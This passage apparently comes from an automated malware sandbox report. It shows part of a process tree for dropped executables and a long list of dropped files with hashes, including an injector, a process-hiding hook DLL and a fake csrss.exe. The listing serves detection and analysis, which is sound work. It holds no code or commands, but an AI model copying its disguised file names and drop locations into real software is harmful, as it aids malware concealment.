                                                                                • C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
                                                                                  1⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:2200
                                                                                • C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
                                                                                  1⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:3912
                                                                                • C:\Users\Admin\AppData\Roaming\ugrceei
                                                                                  C:\Users\Admin\AppData\Roaming\ugrceei
                                                                                  1⤵
                                                                                  • Executes dropped EXE
                                                                                  • Suspicious use of SetThreadContext
                                                                                  PID:4260
                                                                                  • C:\Users\Admin\AppData\Roaming\ugrceei
                                                                                    C:\Users\Admin\AppData\Roaming\ugrceei
                                                                                    2⤵
                                                                                    • Executes dropped EXE
                                                                                    • Checks SCSI registry key(s)
                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                    PID:528

                                                                                Network

                                                                                      MITRE ATT&CK Enterprise v6

                                                                                      Replay Monitor

                                                                                      Loading Replay Monitor...

                                                                                      Downloads

                                                                                      • C:\Program Files\Google\Libs\g.log

                                                                                        Filesize

                                                                                        226B

                                                                                        MD5

                                                                                        fdba80d4081c28c65e32fff246dc46cb

                                                                                        SHA1

                                                                                        74f809dedd1fc46a3a63ac9904c80f0b817b3686

                                                                                        SHA256

                                                                                        b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

                                                                                        SHA512

                                                                                        b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

                                                                                      • C:\Program Files\Notepad\Chrome\updater.exe

                                                                                        Filesize

                                                                                        3.7MB

                                                                                        MD5

                                                                                        3006b49f3a30a80bb85074c279acc7df

                                                                                        SHA1

                                                                                        728a7a867d13ad0034c29283939d94f0df6c19df

                                                                                        SHA256

                                                                                        f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

                                                                                        SHA512

                                                                                        e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

                                                                                      • C:\Program Files\Notepad\Chrome\updater.exe

                                                                                        Filesize

                                                                                        3.7MB

                                                                                        MD5

                                                                                        3006b49f3a30a80bb85074c279acc7df

                                                                                        SHA1

                                                                                        728a7a867d13ad0034c29283939d94f0df6c19df

                                                                                        SHA256

                                                                                        f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

                                                                                        SHA512

                                                                                        e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                        Filesize

                                                                                        2KB

                                                                                        MD5

                                                                                        d85ba6ff808d9e5444a4b369f5bc2730

                                                                                        SHA1

                                                                                        31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                        SHA256

                                                                                        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                        SHA512

                                                                                        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                        Filesize

                                                                                        944B

                                                                                        MD5

                                                                                        6d3e9c29fe44e90aae6ed30ccf799ca8

                                                                                        SHA1

                                                                                        c7974ef72264bbdf13a2793ccf1aed11bc565dce

                                                                                        SHA256

                                                                                        2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

                                                                                        SHA512

                                                                                        60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                        Filesize

                                                                                        1KB

                                                                                        MD5

                                                                                        a31985d40108935c8ce70896d54528a2

                                                                                        SHA1

                                                                                        4e3a27b73eaac2d00b533f9c1dbe9f3c28b845c1

                                                                                        SHA256

                                                                                        e130df7be2343f0d907d33b797104044d0293d70e5fb05123c8f65a26e22d04b

                                                                                        SHA512

                                                                                        242299b8ade43470b64b365ee39bee26397c2b7b0802f0d9123fd681d7d82a1a6dd022e57130d7b0861f4f7b6d6f2f7d8605fdee6e46dc9c35d84dbaaeab2e16

                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000172001\setup.exe

                                                                                        Filesize

                                                                                        408KB

                                                                                        MD5

                                                                                        a8f1aa449fbfd6e479c388d7bd7a08fd

                                                                                        SHA1

                                                                                        e771e44bffad0958f50eb5d68e94167cc846e2d8

                                                                                        SHA256

                                                                                        1eb17429e41c7e87c070adb5d68a11fa024f4e6598e50062168c44012975c3d4

                                                                                        SHA512

                                                                                        cb16124dc6ae5d02c99485d867dfdbd4308d393c559f599b7a1ce89168b7040f5237b3a90902718d0cfd08a205bfd518432ea8c438501c4a64a8910d20bd1e89

                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000172001\setup.exe

                                                                                        Filesize

                                                                                        408KB

                                                                                        MD5

                                                                                        a8f1aa449fbfd6e479c388d7bd7a08fd

                                                                                        SHA1

                                                                                        e771e44bffad0958f50eb5d68e94167cc846e2d8

                                                                                        SHA256

                                                                                        1eb17429e41c7e87c070adb5d68a11fa024f4e6598e50062168c44012975c3d4

                                                                                        SHA512

                                                                                        cb16124dc6ae5d02c99485d867dfdbd4308d393c559f599b7a1ce89168b7040f5237b3a90902718d0cfd08a205bfd518432ea8c438501c4a64a8910d20bd1e89

                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000172001\setup.exe

                                                                                        Filesize

                                                                                        408KB

                                                                                        MD5

                                                                                        a8f1aa449fbfd6e479c388d7bd7a08fd

                                                                                        SHA1

                                                                                        e771e44bffad0958f50eb5d68e94167cc846e2d8

                                                                                        SHA256

                                                                                        1eb17429e41c7e87c070adb5d68a11fa024f4e6598e50062168c44012975c3d4

                                                                                        SHA512

                                                                                        cb16124dc6ae5d02c99485d867dfdbd4308d393c559f599b7a1ce89168b7040f5237b3a90902718d0cfd08a205bfd518432ea8c438501c4a64a8910d20bd1e89

                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000173001\toolspub2.exe

                                                                                        Filesize

                                                                                        271KB

                                                                                        MD5

                                                                                        a53b97f33623010a204d53ca814e8dd2

                                                                                        SHA1

                                                                                        1c1498af4bfa07fd04b1cc455ed69ca00cebb3c1

                                                                                        SHA256

                                                                                        6ba96ab9e09801ed43485fae7797223a383554397e8de1ea71912cb843794bf0

                                                                                        SHA512

                                                                                        6a342c7816485d60ee8402b4119d0a15895e5610a4b96c1556d9c7cbaf4f8f10bbbce8b7ab081d9bda21788f31e70465ff25b99dae06bf6246ce7b23f03abd1b

                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000173001\toolspub2.exe

                                                                                        Filesize

                                                                                        271KB

                                                                                        MD5

                                                                                        a53b97f33623010a204d53ca814e8dd2

                                                                                        SHA1

                                                                                        1c1498af4bfa07fd04b1cc455ed69ca00cebb3c1

                                                                                        SHA256

                                                                                        6ba96ab9e09801ed43485fae7797223a383554397e8de1ea71912cb843794bf0

                                                                                        SHA512

                                                                                        6a342c7816485d60ee8402b4119d0a15895e5610a4b96c1556d9c7cbaf4f8f10bbbce8b7ab081d9bda21788f31e70465ff25b99dae06bf6246ce7b23f03abd1b

                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000173001\toolspub2.exe

                                                                                        Filesize

                                                                                        271KB

                                                                                        MD5

                                                                                        a53b97f33623010a204d53ca814e8dd2

                                                                                        SHA1

                                                                                        1c1498af4bfa07fd04b1cc455ed69ca00cebb3c1

                                                                                        SHA256

                                                                                        6ba96ab9e09801ed43485fae7797223a383554397e8de1ea71912cb843794bf0

                                                                                        SHA512

                                                                                        6a342c7816485d60ee8402b4119d0a15895e5610a4b96c1556d9c7cbaf4f8f10bbbce8b7ab081d9bda21788f31e70465ff25b99dae06bf6246ce7b23f03abd1b

                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000173001\toolspub2.exe

                                                                                        Filesize

                                                                                        271KB

                                                                                        MD5

                                                                                        a53b97f33623010a204d53ca814e8dd2

                                                                                        SHA1

                                                                                        1c1498af4bfa07fd04b1cc455ed69ca00cebb3c1

                                                                                        SHA256

                                                                                        6ba96ab9e09801ed43485fae7797223a383554397e8de1ea71912cb843794bf0

                                                                                        SHA512

                                                                                        6a342c7816485d60ee8402b4119d0a15895e5610a4b96c1556d9c7cbaf4f8f10bbbce8b7ab081d9bda21788f31e70465ff25b99dae06bf6246ce7b23f03abd1b

                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000174001\3eef203fb515bda85f514e168abb5973.exe

                                                                                        Filesize

                                                                                        4.1MB

                                                                                        MD5

                                                                                        451af59f1dc7bf09eaad8c27aab0a8fe

                                                                                        SHA1

                                                                                        a1e5d215d9e45937697d72e14d33476c6af4705c

                                                                                        SHA256

                                                                                        2273ad3c5739e3c75de32a37f690ccce141a76524c20cd773e267b6b93731606

                                                                                        SHA512

                                                                                        39b70ffa5e0b56fc6b550d0d16d00aec809f366a5dc1027b418e3198ae86a950d07721ed749776f6b3d9ce5eeea3b24895bd58aee66daa2ba8a5b5176bf6d41d

                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000174001\3eef203fb515bda85f514e168abb5973.exe

                                                                                        Filesize

                                                                                        4.1MB

                                                                                        MD5

                                                                                        451af59f1dc7bf09eaad8c27aab0a8fe

                                                                                        SHA1

                                                                                        a1e5d215d9e45937697d72e14d33476c6af4705c

                                                                                        SHA256

                                                                                        2273ad3c5739e3c75de32a37f690ccce141a76524c20cd773e267b6b93731606

                                                                                        SHA512

                                                                                        39b70ffa5e0b56fc6b550d0d16d00aec809f366a5dc1027b418e3198ae86a950d07721ed749776f6b3d9ce5eeea3b24895bd58aee66daa2ba8a5b5176bf6d41d

                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000174001\3eef203fb515bda85f514e168abb5973.exe

                                                                                        Filesize

                                                                                        4.1MB

                                                                                        MD5

                                                                                        451af59f1dc7bf09eaad8c27aab0a8fe

                                                                                        SHA1

                                                                                        a1e5d215d9e45937697d72e14d33476c6af4705c

                                                                                        SHA256

                                                                                        2273ad3c5739e3c75de32a37f690ccce141a76524c20cd773e267b6b93731606

                                                                                        SHA512

                                                                                        39b70ffa5e0b56fc6b550d0d16d00aec809f366a5dc1027b418e3198ae86a950d07721ed749776f6b3d9ce5eeea3b24895bd58aee66daa2ba8a5b5176bf6d41d

                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000174001\3eef203fb515bda85f514e168abb5973.exe

                                                                                        Filesize

                                                                                        4.1MB

                                                                                        MD5

                                                                                        451af59f1dc7bf09eaad8c27aab0a8fe

                                                                                        SHA1

                                                                                        a1e5d215d9e45937697d72e14d33476c6af4705c

                                                                                        SHA256

                                                                                        2273ad3c5739e3c75de32a37f690ccce141a76524c20cd773e267b6b93731606

                                                                                        SHA512

                                                                                        39b70ffa5e0b56fc6b550d0d16d00aec809f366a5dc1027b418e3198ae86a950d07721ed749776f6b3d9ce5eeea3b24895bd58aee66daa2ba8a5b5176bf6d41d

                                                                                      • C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe

                                                                                        Filesize

                                                                                        198KB

                                                                                        MD5

                                                                                        a64a886a695ed5fb9273e73241fec2f7

                                                                                        SHA1

                                                                                        363244ca05027c5beb938562df5b525a2428b405

                                                                                        SHA256

                                                                                        563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144

                                                                                        SHA512

                                                                                        122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474

                                                                                      • C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe

                                                                                        Filesize

                                                                                        198KB

                                                                                        MD5

                                                                                        a64a886a695ed5fb9273e73241fec2f7

                                                                                        SHA1

                                                                                        363244ca05027c5beb938562df5b525a2428b405

                                                                                        SHA256

                                                                                        563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144

                                                                                        SHA512

                                                                                        122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474

                                                                                      • C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe

                                                                                        Filesize

                                                                                        198KB

                                                                                        MD5

                                                                                        a64a886a695ed5fb9273e73241fec2f7

                                                                                        SHA1

                                                                                        363244ca05027c5beb938562df5b525a2428b405

                                                                                        SHA256

                                                                                        563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144

                                                                                        SHA512

                                                                                        122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474

                                                                                      • C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe

                                                                                        Filesize

                                                                                        198KB

                                                                                        MD5

                                                                                        a64a886a695ed5fb9273e73241fec2f7

                                                                                        SHA1

                                                                                        363244ca05027c5beb938562df5b525a2428b405

                                                                                        SHA256

                                                                                        563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144

                                                                                        SHA512

                                                                                        122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474

                                                                                      • C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe

                                                                                        Filesize

                                                                                        198KB

                                                                                        MD5

                                                                                        a64a886a695ed5fb9273e73241fec2f7

                                                                                        SHA1

                                                                                        363244ca05027c5beb938562df5b525a2428b405

                                                                                        SHA256

                                                                                        563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144

                                                                                        SHA512

                                                                                        122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474

                                                                                      • C:\Users\Admin\AppData\Local\Temp\XandETC.exe

                                                                                        Filesize

                                                                                        3.7MB

                                                                                        MD5

                                                                                        3006b49f3a30a80bb85074c279acc7df

                                                                                        SHA1

                                                                                        728a7a867d13ad0034c29283939d94f0df6c19df

                                                                                        SHA256

                                                                                        f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

                                                                                        SHA512

                                                                                        e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

                                                                                      • C:\Users\Admin\AppData\Local\Temp\XandETC.exe

                                                                                        Filesize

                                                                                        3.7MB

                                                                                        MD5

                                                                                        3006b49f3a30a80bb85074c279acc7df

                                                                                        SHA1

                                                                                        728a7a867d13ad0034c29283939d94f0df6c19df

                                                                                        SHA256

                                                                                        f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

                                                                                        SHA512

                                                                                        e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

                                                                                      • C:\Users\Admin\AppData\Local\Temp\XandETC.exe

                                                                                        Filesize

                                                                                        3.7MB

                                                                                        MD5

                                                                                        3006b49f3a30a80bb85074c279acc7df

                                                                                        SHA1

                                                                                        728a7a867d13ad0034c29283939d94f0df6c19df

                                                                                        SHA256

                                                                                        f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

                                                                                        SHA512

                                                                                        e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

                                                                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q0xotskp.u1l.ps1

                                                                                        Filesize

                                                                                        60B

                                                                                        MD5

                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                        SHA1

                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                        SHA256

                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                        SHA512

                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                      • C:\Users\Admin\AppData\Local\Temp\aafg31.exe

                                                                                        Filesize

                                                                                        421KB

                                                                                        MD5

                                                                                        bd14e0f9b9cef063a9a20e81162ea47c

                                                                                        SHA1

                                                                                        d0b09c991d4092b596da762d5fc7dc2eac1057a7

                                                                                        SHA256

                                                                                        011fa85ec8a678389fa5251cba5e4b3b478907dbccb87e8c2bdf3179370e4293

                                                                                        SHA512

                                                                                        4c9c1f138fb7f15b1e2731134de6f624ce45874216b6de2e370ef8c8ba0cd184c3dafa2e429972a96fd33dfd6fff6bb261cbb5e13a8d91fd02dbd537e6643fad

                                                                                      • C:\Users\Admin\AppData\Local\Temp\aafg31.exe

                                                                                        Filesize

                                                                                        421KB

                                                                                        MD5

                                                                                        bd14e0f9b9cef063a9a20e81162ea47c

                                                                                        SHA1

                                                                                        d0b09c991d4092b596da762d5fc7dc2eac1057a7

                                                                                        SHA256

                                                                                        011fa85ec8a678389fa5251cba5e4b3b478907dbccb87e8c2bdf3179370e4293

                                                                                        SHA512

                                                                                        4c9c1f138fb7f15b1e2731134de6f624ce45874216b6de2e370ef8c8ba0cd184c3dafa2e429972a96fd33dfd6fff6bb261cbb5e13a8d91fd02dbd537e6643fad

                                                                                      • C:\Users\Admin\AppData\Local\Temp\aafg31.exe

                                                                                        Filesize

                                                                                        421KB

                                                                                        MD5

                                                                                        bd14e0f9b9cef063a9a20e81162ea47c

                                                                                        SHA1

                                                                                        d0b09c991d4092b596da762d5fc7dc2eac1057a7

                                                                                        SHA256

                                                                                        011fa85ec8a678389fa5251cba5e4b3b478907dbccb87e8c2bdf3179370e4293

                                                                                        SHA512

                                                                                        4c9c1f138fb7f15b1e2731134de6f624ce45874216b6de2e370ef8c8ba0cd184c3dafa2e429972a96fd33dfd6fff6bb261cbb5e13a8d91fd02dbd537e6643fad

                                                                                      • C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe

                                                                                        Filesize

                                                                                        3.2MB

                                                                                        MD5

                                                                                        f801950a962ddba14caaa44bf084b55c

                                                                                        SHA1

                                                                                        7cadc9076121297428442785536ba0df2d4ae996

                                                                                        SHA256

                                                                                        c3946ec89e15b24b743c46f9acacb58cff47da63f3ce2799d71ed90496b8891f

                                                                                        SHA512

                                                                                        4183bc76bdc84fb779e2e573d9a63d7de47096b63b945f9e335bee95ae28eb208f5ee15f6501ac59623b97c5b77f3455ca313512e7d9803e1704ae22a52459c5

                                                                                      • C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe

                                                                                        Filesize

                                                                                        3.2MB

                                                                                        MD5

                                                                                        f801950a962ddba14caaa44bf084b55c

                                                                                        SHA1

                                                                                        7cadc9076121297428442785536ba0df2d4ae996

                                                                                        SHA256

                                                                                        c3946ec89e15b24b743c46f9acacb58cff47da63f3ce2799d71ed90496b8891f

                                                                                        SHA512

                                                                                        4183bc76bdc84fb779e2e573d9a63d7de47096b63b945f9e335bee95ae28eb208f5ee15f6501ac59623b97c5b77f3455ca313512e7d9803e1704ae22a52459c5

                                                                                      • C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll

                                                                                        Filesize

                                                                                        99KB

                                                                                        MD5

                                                                                        09031a062610d77d685c9934318b4170

                                                                                        SHA1

                                                                                        880f744184e7774f3d14c1bb857e21cc7fe89a6d

                                                                                        SHA256

                                                                                        778bd69af403df3c4e074c31b3850d71bf0e64524bea4272a802ca9520b379dd

                                                                                        SHA512

                                                                                        9a276e1f0f55d35f2bf38eb093464f7065bdd30a660e6d1c62eed5e76d1fb2201567b89d9ae65d2d89dc99b142159e36fb73be8d5e08252a975d50544a7cda27

                                                                                      • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

                                                                                        Filesize

                                                                                        281KB

                                                                                        MD5

                                                                                        d98e33b66343e7c96158444127a117f6

                                                                                        SHA1

                                                                                        bb716c5509a2bf345c6c1152f6e3e1452d39d50d

                                                                                        SHA256

                                                                                        5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

                                                                                        SHA512

                                                                                        705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

                                                                                      • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

                                                                                        Filesize

                                                                                        281KB

                                                                                        MD5

                                                                                        d98e33b66343e7c96158444127a117f6

                                                                                        SHA1

                                                                                        bb716c5509a2bf345c6c1152f6e3e1452d39d50d

                                                                                        SHA256

                                                                                        5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

                                                                                        SHA512

                                                                                        705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

                                                                                      • C:\Users\Admin\AppData\Local\Temp\oldplayer.exe

                                                                                        Filesize

                                                                                        198KB

                                                                                        MD5

                                                                                        a64a886a695ed5fb9273e73241fec2f7

                                                                                        SHA1

                                                                                        363244ca05027c5beb938562df5b525a2428b405

                                                                                        SHA256

                                                                                        563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144

                                                                                        SHA512

                                                                                        122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474

                                                                                      • C:\Users\Admin\AppData\Local\Temp\oldplayer.exe

                                                                                        Filesize

                                                                                        198KB

                                                                                        MD5

                                                                                        a64a886a695ed5fb9273e73241fec2f7

                                                                                        SHA1

                                                                                        363244ca05027c5beb938562df5b525a2428b405

                                                                                        SHA256

                                                                                        563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144

                                                                                        SHA512

                                                                                        122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474

                                                                                      • C:\Users\Admin\AppData\Local\Temp\oldplayer.exe

                                                                                        Filesize

                                                                                        198KB

                                                                                        MD5

                                                                                        a64a886a695ed5fb9273e73241fec2f7

                                                                                        SHA1

                                                                                        363244ca05027c5beb938562df5b525a2428b405

                                                                                        SHA256

                                                                                        563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144

                                                                                        SHA512

                                                                                        122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474

                                                                                      • C:\Users\Admin\AppData\Roaming\ugrceei

                                                                                        Filesize

                                                                                        271KB

                                                                                        MD5

                                                                                        a53b97f33623010a204d53ca814e8dd2

                                                                                        SHA1

                                                                                        1c1498af4bfa07fd04b1cc455ed69ca00cebb3c1

                                                                                        SHA256

                                                                                        6ba96ab9e09801ed43485fae7797223a383554397e8de1ea71912cb843794bf0

                                                                                        SHA512

                                                                                        6a342c7816485d60ee8402b4119d0a15895e5610a4b96c1556d9c7cbaf4f8f10bbbce8b7ab081d9bda21788f31e70465ff25b99dae06bf6246ce7b23f03abd1b

                                                                                      • C:\Users\Admin\AppData\Roaming\ugrceei

                                                                                        Filesize

                                                                                        271KB

                                                                                        MD5

                                                                                        a53b97f33623010a204d53ca814e8dd2

                                                                                        SHA1

                                                                                        1c1498af4bfa07fd04b1cc455ed69ca00cebb3c1

                                                                                        SHA256

                                                                                        6ba96ab9e09801ed43485fae7797223a383554397e8de1ea71912cb843794bf0

                                                                                        SHA512

                                                                                        6a342c7816485d60ee8402b4119d0a15895e5610a4b96c1556d9c7cbaf4f8f10bbbce8b7ab081d9bda21788f31e70465ff25b99dae06bf6246ce7b23f03abd1b

                                                                                      • C:\Users\Admin\AppData\Roaming\ugrceei

                                                                                        Filesize

                                                                                        271KB

                                                                                        MD5

                                                                                        a53b97f33623010a204d53ca814e8dd2

                                                                                        SHA1

                                                                                        1c1498af4bfa07fd04b1cc455ed69ca00cebb3c1

                                                                                        SHA256

                                                                                        6ba96ab9e09801ed43485fae7797223a383554397e8de1ea71912cb843794bf0

                                                                                        SHA512

                                                                                        6a342c7816485d60ee8402b4119d0a15895e5610a4b96c1556d9c7cbaf4f8f10bbbce8b7ab081d9bda21788f31e70465ff25b99dae06bf6246ce7b23f03abd1b

                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                        Filesize

                                                                                        2KB

                                                                                        MD5

                                                                                        3d086a433708053f9bf9523e1d87a4e8

                                                                                        SHA1

                                                                                        b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

                                                                                        SHA256

                                                                                        6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

                                                                                        SHA512

                                                                                        931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                        Filesize

                                                                                        19KB

                                                                                        MD5

                                                                                        56235f81bf474eb81bc06a1148f540f2

                                                                                        SHA1

                                                                                        bbf4269ee1c7b4f9e736f8f4ea2b5c642a934fa3

                                                                                        SHA256

                                                                                        0450b66763200193dd0bbb4c3532404bda4e30cf9f67216010dc4738fb625d42

                                                                                        SHA512

                                                                                        febe7a60fdc6622be1229a59fe5f61af40d79d94406500894cf8d379b7c9b82688343a16fe27814b067565257e1934d1ac339a63bb2ddb7aa1335aae9575ad65

                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                        Filesize

                                                                                        19KB

                                                                                        MD5

                                                                                        f4695d7524d9a253a66e551839493dde

                                                                                        SHA1

                                                                                        80d085fc20f5fd4d044575be263daa1e4141bd1f

                                                                                        SHA256

                                                                                        9ee1b8b13bc91ff67c31772928425e900ac996799745dfcc66740d0e13367598

                                                                                        SHA512

                                                                                        3dfea6ef6c558d8e76d00a9aec777c7bd25512a6d6bc94b28a2f7925893051f05e3ba1e653b3839f7093c594e2e4bfd0340963be5266e853a4f35e3644e2772a

                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                        Filesize

                                                                                        19KB

                                                                                        MD5

                                                                                        9c882515148beb212bc3fa4a4b340e2e

                                                                                        SHA1

                                                                                        1dda36a60092f34a8ad00b838af7759825fd90c6

                                                                                        SHA256

                                                                                        d5e939e5ca2adfef793052782c14f8d1d190c2d4ae5c06064d72d7223939c62c

                                                                                        SHA512

                                                                                        fc0304133cb7f5c0eae743b3a18454e606b6c8bd89a6e3bffdabfed94e5b9eb84bda8c40b4fdd8d085693778040f0c2a3a5f57e057bfa3efd450e4d36de60b39

                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                        Filesize

                                                                                        19KB

                                                                                        MD5

                                                                                        61106a50dcdd08752979c8988ac35425

                                                                                        SHA1

                                                                                        0189590baa6dd9ab8ec87432faa05211670ba374

                                                                                        SHA256

                                                                                        03541b63191b6de70090991d5a083704104c5c573bf5cf61d64ed85e5ec38c2f

                                                                                        SHA512

                                                                                        26593745453708b7a04b8d53737971731a2412c3941ecb6bc26398ef93f46b9230080b2981ea31400cb06e6c61b686d3ebb5facd60bb14acd9568891e71a9074

                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                        Filesize

                                                                                        19KB

                                                                                        MD5

                                                                                        f092f32149e596309c14847738613915

                                                                                        SHA1

                                                                                        99a13f4f6f0d7c993de88bcad59e03f444985a41

                                                                                        SHA256

                                                                                        2a69ec732917d70fa24348dbd6ad160a52d78ee168c234ebcbbe61f79bf95a7e

                                                                                        SHA512

                                                                                        77247d474c0233e7d9889b959d7c7a7b2e81601aef86cb781f8f293a1d59f3bb27e7531cf2a087dd97e3ed8d385ec2a9d52d2a8ca4ca88310199b58979bcfa4a

                                                                                      • C:\Windows\rss\csrss.exe

                                                                                        Filesize

                                                                                        4.1MB

                                                                                        MD5

                                                                                        451af59f1dc7bf09eaad8c27aab0a8fe

                                                                                        SHA1

                                                                                        a1e5d215d9e45937697d72e14d33476c6af4705c

                                                                                        SHA256

